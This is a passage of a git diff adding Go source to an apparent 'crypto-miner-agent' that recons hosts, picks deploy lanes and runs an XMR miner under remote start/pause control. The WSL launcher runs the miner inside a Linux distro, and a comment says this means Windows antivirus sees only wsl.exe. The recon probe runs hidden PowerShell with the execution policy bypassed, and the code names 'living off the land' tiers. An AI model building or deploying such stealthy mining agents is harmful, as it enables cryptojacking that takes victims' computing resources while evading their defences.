+func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) { + o.mu.Lock() + attempt := TierAttempt{ + Phase: string(phase), + Tier: LOTLTier(tier), + OK: ok, + DurationMs: duration.Milliseconds(), + Details: details, + } + if phase == OnionPhaseMining { + attempt.Wallet = o.wallet + } + if !ok && errMsg != "" { + attempt.Error = errMsg + } + o.attempts = append(o.attempts, attempt) + report := o.buildReport(phase) + reporter := o.hooks.ReportEvent + o.mu.Unlock() + if reporter != nil { + event := "onion_report" + if !ok { + event = "onion_fallback" + } + reporter(report, event) + } +} + +func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) { + o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true}) +} + +func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport { + attempts := make([]TierAttempt, len(o.attempts)) + copy(attempts, o.attempts) + return TripleOnionReport{ + ActivePhase: phase, + Gate: o.gate, + Recon: o.recon, + Attempts: attempts, + Wallet: o.wallet, + } +} + +// Report returns the current triple-onion snapshot. +func (o *TripleOnionOrchestrator) Report() TripleOnionReport { + o.mu.RLock() + defer o.mu.RUnlock() + return o.buildReport("") +} + +// Attempts returns all recorded tier attempts across phases. +func (o *TripleOnionOrchestrator) Attempts() []TierAttempt { + o.mu.RLock() + defer o.mu.RUnlock() + out := make([]TierAttempt, len(o.attempts)) + copy(out, o.attempts) + return out +} + +// GateDecisionSnapshot returns the last evaluated gate decision. +func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision { + o.mu.RLock() + defer o.mu.RUnlock() + return o.gate +} + +// Done reports whether Run has completed. +func (o *TripleOnionOrchestrator) Done() bool { + o.mu.RLock() + defer o.mu.RUnlock() + return o.done +} + +// Policy returns the effective triple-onion policy. +func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy { + o.mu.RLock() + defer o.mu.RUnlock() + return o.policy +} + +// UpdateConfig refreshes wallet/runtime config without redeploy. +func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) { + o.mu.Lock() + o.cfg = cfg + o.wallet = strings.TrimSpace(cfg.Wallet) + o.mu.Unlock() +} diff --git a/agent/miner/triple_onion_test.go b/agent/miner/triple_onion_test.go new file mode 100644 index 0000000..7210945 --- /dev/null +++ b/agent/miner/triple_onion_test.go @@ -0,0 +1,186 @@ +package miner + +import ( + "context" + "testing" + + "crypto-miner-agent/config" +) + +func TestEvaluateTripleOnionGatesPatchFirstCritical(t *testing.T) { + policy := DefaultTripleOnionPolicy() + recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 25} + + gate := EvaluateTripleOnionGates(policy, recon) + if !gate.PatchFirst { + t.Fatal("expected patch_first gate") + } + if !gate.SkipDeploy || !gate.SkipMining { + t.Fatalf("patch_first should block deploy+mining: %+v", gate) + } + if gate.Reason == "" { + t.Fatal("expected gate reason") + } +} + +func TestEvaluateTripleOnionGatesPatchFirstDisabled(t *testing.T) { + policy := DefaultTripleOnionPolicy() + policy.PatchFirst = false + recon := ReconSnapshot{CriticalExposed: 2, RiskScore: 50} + + gate := EvaluateTripleOnionGates(policy, recon) + if gate.SkipDeploy || gate.SkipMining { + t.Fatalf("patch_first off should not block chains: %+v", gate) + } +} + +func TestEvaluateTripleOnionGatesSkipMiningHighRisk(t *testing.T) { + policy := DefaultTripleOnionPolicy() + policy.PatchFirst = false + policy.SkipMiningOnHighRisk = true + policy.HighRiskThreshold = 40 + recon := ReconSnapshot{RiskScore: 55} + + gate := EvaluateTripleOnionGates(policy, recon) + if gate.SkipMining { + if gate.SkipDeploy { + t.Fatal("high risk should only skip mining, not deploy") + } + } else { + t.Fatalf("expected skip mining at risk 55 >= 40: %+v", gate) + } +} + +func TestEvaluateTripleOnionGatesHighRiskBelowThreshold(t *testing.T) { + policy := DefaultTripleOnionPolicy() + policy.PatchFirst = false + policy.SkipMiningOnHighRisk = true + policy.HighRiskThreshold = 60 + recon := ReconSnapshot{RiskScore: 45} + + gate := EvaluateTripleOnionGates(policy, recon) + if gate.SkipMining { + t.Fatalf("risk 45 < 60 should not skip mining: %+v", gate) + } +} + +func TestEvaluateTripleOnionGatesPatchFirstOverridesHighRisk(t *testing.T) { + policy := DefaultTripleOnionPolicy() + policy.SkipMiningOnHighRisk = true + recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 90} + + gate := EvaluateTripleOnionGates(policy, recon) + if !gate.SkipDeploy || !gate.SkipMining { + t.Fatalf("critical CVE should block both chains: %+v", gate) + } +} + +func TestApplyIsolatedMiningPolicySkipsHostPaths(t *testing.T) { + out := ApplyIsolatedMiningPolicy(DefaultMiningTierPolicy()) + if len(out.TierOrder) == 0 { + t.Fatal("expected tier order") + } + if out.TierOrder[0] != TierDockerLoad { + t.Fatalf("isolated policy should start docker_load, got %v", out.TierOrder) + } + skip := make(map[LOTLTier]bool, len(out.SkipTiers)) + for _, t := range out.SkipTiers { + skip[t] = true + } + for _, hostTier := range []LOTLTier{TierExeSubprocess, TierCPUInprocess, TierPSInMemory, TierDotnet} { + if !skip[hostTier] { + t.Fatalf("mine_isolated_tier should skip %s", hostTier) + } + } +} + +func TestApplyEnvTripleOnionOverrides(t *testing.T) { + t.Setenv("AETHERFORGE_PATCH_FIRST", "false") + t.Setenv("AETHERFORGE_SKIP_MINING", "true") + t.Setenv("AETHERFORGE_MINE_ISOLATED", "1") + t.Setenv("AETHERFORGE_HIGH_RISK_THRESHOLD", "75") + + p := ApplyEnvTripleOnionOverrides(DefaultTripleOnionPolicy()) + if p.PatchFirst { + t.Fatal("env should disable patch_first") + } + if !p.SkipMiningOnHighRisk { + t.Fatal("env should enable skip mining") + } + if !p.MineIsolatedTier { + t.Fatal("env should enable mine_isolated") + } + if p.HighRiskThreshold != 75 { + t.Fatalf("threshold=%d want 75", p.HighRiskThreshold) + } +} + +func TestTripleOnionOrchestratorRunGatesMining(t *testing.T) { + policy := DefaultTripleOnionPolicy() + policy.PatchFirst = false + policy.SkipMiningOnHighRisk = true + policy.HighRiskThreshold = 10 + + var miningStarted bool + o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{ + RunReconTier: func(_ context.Context, tier string) ReconTierResult { + if tier == "kev_scan" { + return ReconTierResult{ + OK: true, + Snapshot: ReconSnapshot{ + RiskScore: 80, + CriticalExposed: 0, + }, + } + } + return ReconTierResult{OK: true} + }, + RunDeployLane: func(_ context.Context, _ string) (bool, string) { + return false, "no targets" + }, + RunMining: func(_ context.Context) { + miningStarted = true + }, + }) + + report := o.Run(context.Background()) + if miningStarted { + t.Fatal("high risk gate should skip mining") + } + if !report.Gate.SkipMining { + t.Fatalf("report gate should skip mining: %+v", report.Gate) + } + var sawMiningGate bool + for _, a := range report.Attempts { + if a.Phase == string(OnionPhaseMining) && a.Tier == "policy_gate" { + sawMiningGate = true + } + } + if !sawMiningGate { + t.Fatal("expected gated mining attempt recorded") + } +} + +func TestTripleOnionOrchestratorDeployStopsOnSuccess(t *testing.T) { + var deployCalls int + policy := DefaultTripleOnionPolicy() + policy.DeployLanes = []string{"docker", "wsl"} + o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{ + RunReconTier: func(_ context.Context, _ string) ReconTierResult { + return ReconTierResult{OK: true} + }, + RunDeployLane: func(_ context.Context, lane string) (bool, string) { + deployCalls++ + if lane == "docker" { + return true, "container runtime ready" + } + return false, "skipped" + }, + RunMining: func(_ context.Context) {}, + }) + + o.Run(context.Background()) + if deployCalls != 1 { + t.Fatalf("deploy should stop after first success, calls=%d", deployCalls) + } +} diff --git a/agent/miner/wsl_detect.go b/agent/miner/wsl_detect.go new file mode 100644 index 0000000..f9fb895 --- /dev/null +++ b/agent/miner/wsl_detect.go @@ -0,0 +1,59 @@ +package miner + +import ( + "context" + "os/exec" + "runtime" + "strings" + "time" +) + +// WSLRuntimeInfo describes a detected WSL2 installation on Windows. +type WSLRuntimeInfo struct { + Available bool + CLI string // path to wsl.exe + Distros []string // registered distro names (first is default launch target) +} + +// WSLDetector probes WSL availability. Tests inject a mock via SetWSLDetector. +var WSLDetector = DetectWSL + +// SetWSLDetector restores the default detector when fn is nil. +func SetWSLDetector(fn func() WSLRuntimeInfo) { + if fn == nil { + WSLDetector = DetectWSL + return + } + WSLDetector = fn +} + +// DetectWSL checks for wsl.exe and at least one registered distro. +func DetectWSL() WSLRuntimeInfo { + if runtime.GOOS != "windows" { + return WSLRuntimeInfo{} + } + path, err := exec.LookPath("wsl.exe") + if err != nil { + return WSLRuntimeInfo{} + } + out, err := func() ([]byte, error) { + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + return exec.CommandContext(ctx, path, "-l", "-q").CombinedOutput() + }() + if err != nil { + // WSL may be installed but no distros — still not usable for mining. + return WSLRuntimeInfo{CLI: path} + } + var distros []string + for _, line := range strings.Split(string(out), "\n") { + name := strings.TrimSpace(line) + if name != "" { + distros = append(distros, name) + } + } + if len(distros) == 0 { + return WSLRuntimeInfo{CLI: path} + } + return WSLRuntimeInfo{Available: true, CLI: path, Distros: distros} +} diff --git a/agent/miner/wsl_launcher.go b/agent/miner/wsl_launcher.go new file mode 100644 index 0000000..8b863d8 --- /dev/null +++ b/agent/miner/wsl_launcher.go @@ -0,0 +1,198 @@ +package miner + +import ( + "fmt" + "log" + "os" + "os/exec" + "strings" + "sync" + + "crypto-miner-agent/config" +) + +const ( + defaultWSLDistro = "Ubuntu" + defaultWSLWorkerPath = "/opt/aetherforge/worker" + wslSystemdUnitName = "aetherforge-miner.service" +) + +// wslExecCommand is exec.Command; tests override via SetWSLExecCommand. +var wslExecCommand = exec.Command + +// SetWSLExecCommand restores the default when fn is nil. +func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) { + if fn == nil { + wslExecCommand = exec.Command + return + } + wslExecCommand = fn +} + +// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e. +// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS. +// +// Remote start_mining / pause can toggle the systemd user unit without spawning +// a new process tree on each resume: +// +// wsl.exe -d -e systemctl --user start aetherforge-miner.service +// wsl.exe -d -e systemctl --user stop aetherforge-miner.service +// +// Install the unit once under ~/.config/systemd/user/ in the target distro. +// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with +// the same AETHERFORGE_* env vars as the container tier (same XMR wallet). +type WSLLauncher struct { + cfg config.RuntimeConfig + wsl WSLRuntimeInfo + distro string + + mu sync.Mutex + running bool + cmd *exec.Cmd +} + +// NewWSLLauncher builds a launcher when WSL2 is available on Windows. +func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) { + if !wslRT.Available || wslRT.CLI == "" { + return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)") + } + distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO")) + if distro == "" && len(wslRT.Distros) > 0 { + distro = wslRT.Distros[0] + } + if distro == "" { + distro = defaultWSLDistro + } + return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil +} + +// Start launches mining inside WSL (idempotent while already running). +func (l *WSLLauncher) Start() error { + l.mu.Lock() + defer l.mu.Unlock() + if l.running { + return nil + } + + // Prefer systemd user unit when installed in the distro. + if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil { + l.running = true + log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro) + return nil + } + + args := l.buildDirectExecArgs() + cmd := wslExecCommand(l.wsl.CLI, args...) + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Start(); err != nil { + return fmt.Errorf("wsl worker start failed: %w", err) + } + l.cmd = cmd + l.running = true + log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet) + go l.waitExit() + return nil +} + +func (l *WSLLauncher) buildDirectExecArgs() []string { + worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER")) + if worker == "" { + worker = defaultWSLWorkerPath + } + script := fmt.Sprintf("export %s; exec %s", + strings.Join(l.wslEnv(), " "), + worker, + ) + return []string{"-d", l.distro, "-e", "bash", "-lc", script} +} + +func (l *WSLLauncher) wslEnv() []string { + threads := l.cfg.EffectiveThreads() + pairs := []string{ + "AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL, + "AETHERFORGE_WALLET=" + l.cfg.Wallet, + "AETHERFORGE_WORKER=" + l.cfg.WorkerName, + "AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost, + "AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort), + "AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS), + "AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass, + "AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads), + "AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess, + "AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret, + } + if l.cfg.RVNWallet != "" { + pairs = append(pairs, + "AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet, + "AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost, + "AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort), + "AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled), + ) + } + return pairs +} + +func (l *WSLLauncher) waitExit() { + if l.cmd == nil { + return + } + err := l.cmd.Wait() + l.mu.Lock() + l.running = false + l.cmd = nil + l.mu.Unlock() + if err != nil { + log.Printf("[wsl] worker exited: %v — host will fall back if configured", err) + } else { + log.Printf("[wsl] worker stopped") + } +} + +// Stop halts the WSL workload (systemd unit or direct process). +func (l *WSLLauncher) Stop() { + l.mu.Lock() + running := l.running + l.mu.Unlock() + if !running { + return + } + _ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run() + l.mu.Lock() + if l.cmd != nil && l.cmd.Process != nil { + _ = l.cmd.Process.Kill() + } + l.running = false + l.cmd = nil + l.mu.Unlock() +} + +// Running reports whether the launcher believes the WSL worker is active. +func (l *WSLLauncher) Running() bool { + l.mu.Lock() + defer l.mu.Unlock() + return l.running +} + +// ToggleWSLMining starts or stops the systemd user unit via wsl.exe. +// Used by remote start_mining / pause when a WSL sidecar is the active tier. +func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error { + if !wslRT.Available || wslRT.CLI == "" { + return fmt.Errorf("WSL2 not available") + } + if strings.TrimSpace(distro) == "" { + if len(wslRT.Distros) > 0 { + distro = wslRT.Distros[0] + } else { + distro = defaultWSLDistro + } + } + verb := "stop" + if start { + verb = "start" + } + cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName) + if err := cmd.Run(); err != nil { + return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err) + } + return nil +} diff --git a/agent/miner/wsl_launcher_test.go b/agent/miner/wsl_launcher_test.go new file mode 100644 index 0000000..f0cf013 --- /dev/null +++ b/agent/miner/wsl_launcher_test.go @@ -0,0 +1,64 @@ +package miner + +import ( + "os/exec" + "runtime" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestWSLLauncherStartUsesWslExe(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("WSL launcher tests require windows") + } + + var gotCLI string + var gotArgs []string + SetWSLExecCommand(func(name string, args ...string) *exec.Cmd { + gotCLI = name + gotArgs = append([]string(nil), args...) + if len(args) >= 4 && args[3] == "systemctl" { + return exec.Command("cmd", "/c", "exit 1") + } + return exec.Command("ping", "-n", "2", "127.0.0.1") + }) + defer SetWSLExecCommand(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3", + WorkerName: "wsl-worker", + PoolHost: "pool.example.com", + PoolPort: 3333, + }, + } + wslRT := WSLRuntimeInfo{Available: true, CLI: "wsl.exe", Distros: []string{"Ubuntu"}} + + launcher, err := NewWSLLauncher(cfg, wslRT) + if err != nil { + t.Fatalf("NewWSLLauncher: %v", err) + } + if err := launcher.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + defer launcher.Stop() + + if gotCLI != "wsl.exe" { + t.Fatalf("CLI=%q want wsl.exe", gotCLI) + } + if !strings.Contains(strings.Join(gotArgs, " "), "AETHERFORGE_WALLET=") { + t.Fatalf("expected wallet env in wsl command, args=%v", gotArgs) + } + if !launcher.Running() { + t.Fatal("Running() false after Start") + } +} + +func TestNewWSLLauncherUnavailable(t *testing.T) { + _, err := NewWSLLauncher(config.RuntimeConfig{}, WSLRuntimeInfo{}) + if err == nil { + t.Fatal("expected error without WSL") + } +} diff --git a/agent/vulnprobe/catalog.go b/agent/vulnprobe/catalog.go new file mode 100644 index 0000000..af768f5 --- /dev/null +++ b/agent/vulnprobe/catalog.go @@ -0,0 +1,50 @@ +package vulnprobe + +// CatalogEntry describes a CISA KEV-style CVE family for read-only exposure checks. +type CatalogEntry struct { + ID string + Name string + Component string + Severity string + Description string + // PatchKBs are Windows KB IDs that mitigate this CVE (subset for lightweight correlator). + PatchKBs []string + // FleetPorts are listener ports that raise fleet-context exploitability when open. + FleetPorts []int +} + +// Catalog aligns with CISA AA22-117A / AA22-279A top exploited CVE families. +var Catalog = []CatalogEntry{ + {ID: "CVE-2021-44228", Name: "Log4Shell", Component: "Apache Log4j", Severity: "critical", + Description: "JNDI RCE in Log4j 2.x before 2.17.0"}, + {ID: "CVE-2021-26855", Name: "ProxyLogon", Component: "Microsoft Exchange", Severity: "critical", + Description: "Exchange Server pre-auth SSRF chain (Mar 2021)", PatchKBs: []string{"KB5000871", "KB5000978"}, + FleetPorts: []int{443, 80}}, + {ID: "CVE-2020-1472", Name: "Zerologon", Component: "Microsoft Netlogon", Severity: "critical", + Description: "Domain controller Netlogon privilege escalation", PatchKBs: []string{"KB4577015"}, + FleetPorts: []int{445, 135}}, + {ID: "CVE-2019-19781", Name: "Citrix ADC", Component: "Citrix ADC/Gateway", Severity: "critical", + Description: "Path traversal on Citrix Application Delivery Controller", FleetPorts: []int{443}}, + {ID: "CVE-2019-11510", Name: "Pulse Secure", Component: "Ivanti Pulse Connect Secure", Severity: "critical", + Description: "Arbitrary file read on Pulse VPN appliances", FleetPorts: []int{443}}, + {ID: "CVE-2020-5902", Name: "F5 BIG-IP", Component: "F5 BIG-IP", Severity: "critical", + Description: "Remote code execution in TMUI", FleetPorts: []int{443, 8443}}, + {ID: "CVE-2022-1388", Name: "F5 iControl", Component: "F5 BIG-IP", Severity: "critical", + Description: "iControl REST auth bypass (May 2022)", FleetPorts: []int{443, 8443}}, + {ID: "CVE-2021-26084", Name: "Confluence OGNL", Component: "Atlassian Confluence", Severity: "critical", + Description: "Confluence Server/Data Center RCE", FleetPorts: []int{8090, 8443}}, + {ID: "CVE-2022-26134", Name: "Confluence RCE", Component: "Atlassian Confluence", Severity: "critical", + Description: "Confluence unauthenticated RCE (2022)", FleetPorts: []int{8090, 8443}}, + {ID: "CVE-2021-40539", Name: "ManageEngine", Component: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", + Description: "Unauthenticated RCE in ADSelfService Plus", FleetPorts: []int{9251}}, + {ID: "CVE-2018-13379", Name: "FortiOS path traversal", Component: "Fortinet FortiGate/FortiOS", Severity: "critical", + Description: "SSL-VPN path traversal (FortiOS)", FleetPorts: []int{443, 10443}}, + {ID: "CVE-2021-34527", Name: "PrintNightmare", Component: "Windows Print Spooler", Severity: "high", + Description: "Spooler remote code execution (Jul 2021)", PatchKBs: []string{"KB5004945"}, + FleetPorts: []int{445, 135}}, + {ID: "CVE-2020-0688", Name: "Exchange RCE", Component: "Microsoft Exchange", Severity: "high", + Description: "Exchange control panel deserialization RCE", PatchKBs: []string{"KB4537676"}, + FleetPorts: []int{443}}, + {ID: "CVE-2021-21972", Name: "vCenter RCE", Component: "VMware vCenter", Severity: "critical", + Description: "vSphere Client RCE in vCenter Server", FleetPorts: []int{443}}, +} diff --git a/agent/vulnprobe/exec.go b/agent/vulnprobe/exec.go new file mode 100644 index 0000000..a28575c --- /dev/null +++ b/agent/vulnprobe/exec.go @@ -0,0 +1,8 @@ +package vulnprobe + +import "os/exec" + +// HiddenExec runs LOTL probe subprocesses. deploy wires HiddenCombinedOutput on Windows agents. +var HiddenExec = func(name string, arg ...string) ([]byte, error) { + return exec.Command(name, arg...).CombinedOutput() +} diff --git a/agent/vulnprobe/probe_linux.go b/agent/vulnprobe/probe_linux.go new file mode 100644 index 0000000..085a7b5 --- /dev/null +++ b/agent/vulnprobe/probe_linux.go @@ -0,0 +1,88 @@ +//go:build linux + +package vulnprobe + +import ( + "os/exec" + "runtime" + "strings" +) + +// ProbeHost gathers Linux LOTL recon via apt/dnf security listings (read-only). +func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext { + ctx := HostContext{ + Platform: runtime.GOOS, + OSVersion: osVersion, + LastPatchDays: -1, + ListeningPorts: listeningPorts, + PackageVersions: map[string]string{}, + } + ctx.SSHListening = listeningPorts[22] || listeningPorts[2222] + ctx.PackageVersions = linuxSecurityPackages() + return ctx +} + +func linuxSecurityPackages() map[string]string { + out := map[string]string{} + if _, err := exec.LookPath("apt-get"); err == nil { + raw, err := exec.Command("apt-get", "-s", "upgrade").CombinedOutput() + if err == nil { + for _, line := range strings.Split(string(raw), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "Inst ") { + fields := strings.Fields(line) + if len(fields) >= 2 { + out[fields[1]] = "pending-upgrade" + } + } + } + } + if list, err := exec.Command("apt", "list", "--upgradable").CombinedOutput(); err == nil { + for _, line := range strings.Split(string(list), "\n") { + if !strings.Contains(line, "/") || strings.HasPrefix(line, "Listing") { + continue + } + parts := strings.SplitN(line, "/", 2) + if len(parts) == 2 { + ver := strings.TrimSpace(strings.Split(parts[1], " ")[0]) + out[parts[0]] = ver + } + } + } + } + if _, err := exec.LookPath("dnf"); err == nil { + raw, err := exec.Command("dnf", "updateinfo", "list", "security").CombinedOutput() + if err == nil { + for _, line := range strings.Split(string(raw), "\n") { + if !strings.Contains(line, "CVE-") { + continue + } + fields := strings.Fields(line) + for _, f := range fields { + if strings.HasPrefix(f, "CVE-") { + out[f] = "security-advisory" + } + } + } + } + } + return out +} + +func linuxPackageFindings(ctx HostContext) []VulnFinding { + var out []VulnFinding + for cve, note := range ctx.PackageVersions { + if !strings.HasPrefix(cve, "CVE-") { + continue + } + out = append(out, VulnFinding{ + CVEID: cve, + Severity: "high", + Component: "linux package", + Patched: false, + ExploitableInFleetContext: ctx.SSHListening, + Detail: "dnf/apt security listing: " + note, + }) + } + return out +} diff --git a/agent/vulnprobe/probe_stub.go b/agent/vulnprobe/probe_stub.go new file mode 100644 index 0000000..d1f4040 --- /dev/null +++ b/agent/vulnprobe/probe_stub.go @@ -0,0 +1,18 @@ +//go:build !windows && !linux + +package vulnprobe + +import "runtime" + +// ProbeHost returns minimal context on unsupported platforms. +func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext { + return HostContext{ + Platform: runtime.GOOS, + OSVersion: osVersion, + LastPatchDays: -1, + ListeningPorts: listeningPorts, + ProbeError: "vuln probe not implemented for " + runtime.GOOS, + } +} + +func linuxPackageFindings(_ HostContext) []VulnFinding { return nil } diff --git a/agent/vulnprobe/probe_windows.go b/agent/vulnprobe/probe_windows.go new file mode 100644 index 0000000..8f40cdd --- /dev/null +++ b/agent/vulnprobe/probe_windows.go @@ -0,0 +1,162 @@ +//go:build windows + +package vulnprobe + +import ( + "encoding/json" + "runtime" + "strings" +) + +const windowsProbeScript = ` +$ErrorActionPreference = 'SilentlyContinue' +$out = [ordered]@{} + +# Hotfix + QuickFixEngineering (read-only patch inventory) +$kbs = @() +try { + $hf = Get-HotFix | Sort-Object InstalledOn -Descending + if ($hf) { + $latest = $hf | Select-Object -First 1 + if ($latest.InstalledOn) { + $d = [datetime]$latest.InstalledOn + $out.last_patch = $d.ToString('yyyy-MM-dd') + $out.last_patch_days = [int]((Get-Date) - $d).TotalDays + } + $kbs += @($hf | ForEach-Object { $_.HotFixID }) + } +} catch {} +try { + $qfe = Get-CimInstance Win32_QuickFixEngineering -ErrorAction SilentlyContinue + if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) } +} catch { + try { + $qfe = Get-WmiObject Win32_QuickFixEngineering -ErrorAction SilentlyContinue + if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) } + } catch {} +} +$out.installed_kbs = @($kbs | Where-Object { $_ } | Select-Object -Unique) + +# Service surface (Get-Service) +$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' }) +$out.exchange_installed = ($exSvc.Count -gt 0 -or (Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer')) + +try { + $dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5 +} catch { $dc = $false } +$out.is_domain_controller = $dc + +$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { + $_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse' +}) +$out.pulse_present = ($pulse.Count -gt 0) + +$citrix = @( + (Test-Path 'C:\Program Files\Citrix'), + (Test-Path 'C:\Program Files (x86)\Citrix') +) | Where-Object { $_ } +$out.citrix_present = ($citrix.Count -gt 0) + +$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' }) +$out.f5_process = ($f5.Count -gt 0) + +$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { + $_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat' +}) +$out.confluence_like = ($conf.Count -gt 0) + +$me = @( + (Test-Path 'C:\Program Files\ManageEngine'), + (Test-Path 'C:\ManageEngine') +) | Where-Object { $_ } +$out.manageengine_present = ($me.Count -gt 0) + +$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' }) +$out.forticlient = ($forti.Count -gt 0) + +$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' }) +$out.vmware_serverish = ($vmw.Count -gt 0) + +try { + $sp = Get-Service Spooler + $out.spooler_running = ($sp.Status -eq 'Running') +} catch { $out.spooler_running = $false } + +try { + $sshd = Get-Service -Name sshd -ErrorAction SilentlyContinue + $out.ssh_listening = ($sshd.Status -eq 'Running') +} catch { $out.ssh_listening = $false } + +$log4j = @() +$roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)}, 'C:\ProgramData') | Where-Object { $_ -and (Test-Path $_) } +foreach ($root in $roots) { + $log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue | + Select-Object -First 5 -ExpandProperty FullName +} +$out.log4j_jars = @($log4j | Select-Object -Unique) + +$out | ConvertTo-Json -Compress -Depth 4 +` + +type windowsProbeResult struct { + LastPatch string `json:"last_patch"` + LastPatchDays int `json:"last_patch_days"` + InstalledKBs []string `json:"installed_kbs"` + ExchangeInstalled bool `json:"exchange_installed"` + IsDomainController bool `json:"is_domain_controller"` + PulsePresent bool `json:"pulse_present"` + CitrixPresent bool `json:"citrix_present"` + F5Process bool `json:"f5_process"` + ConfluenceLike bool `json:"confluence_like"` + ManageEnginePresent bool `json:"manageengine_present"` + FortiClient bool `json:"forticlient"` + VMwareServerish bool `json:"vmware_serverish"` + SpoolerRunning bool `json:"spooler_running"` + SSHListening bool `json:"ssh_listening"` + Log4jJars []string `json:"log4j_jars"` +} + +// ProbeHost gathers Windows LOTL recon inputs (Get-HotFix, Get-Service, WMI QFE). +func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext { + ctx := HostContext{ + Platform: runtime.GOOS, + OSVersion: osVersion, + LastPatchDays: -1, + ListeningPorts: listeningPorts, + } + out, err := HiddenExec( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + windowsProbeScript, + ) + if err != nil { + ctx.ProbeError = err.Error() + return ctx + } + raw := strings.TrimSpace(string(out)) + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + var p windowsProbeResult + if err := json.Unmarshal([]byte(raw), &p); err != nil { + ctx.ProbeError = err.Error() + return ctx + } + ctx.LastPatch = p.LastPatch + ctx.LastPatchDays = p.LastPatchDays + ctx.InstalledKBs = p.InstalledKBs + ctx.ExchangeInstalled = p.ExchangeInstalled + ctx.IsDomainController = p.IsDomainController + ctx.PulsePresent = p.PulsePresent + ctx.CitrixPresent = p.CitrixPresent + ctx.F5Process = p.F5Process + ctx.ConfluenceLike = p.ConfluenceLike + ctx.ManageEnginePresent = p.ManageEnginePresent + ctx.FortiClient = p.FortiClient + ctx.VMwareServerish = p.VMwareServerish + ctx.SpoolerRunning = p.SpoolerRunning + ctx.SSHListening = p.SSHListening + ctx.Log4jJars = p.Log4jJars + return ctx +} + +func linuxPackageFindings(_ HostContext) []VulnFinding { return nil } diff --git a/agent/vulnprobe/scan.go b/agent/vulnprobe/scan.go new file mode 100644 index 0000000..7e059de --- /dev/null +++ b/agent/vulnprobe/scan.go @@ -0,0 +1,219 @@ 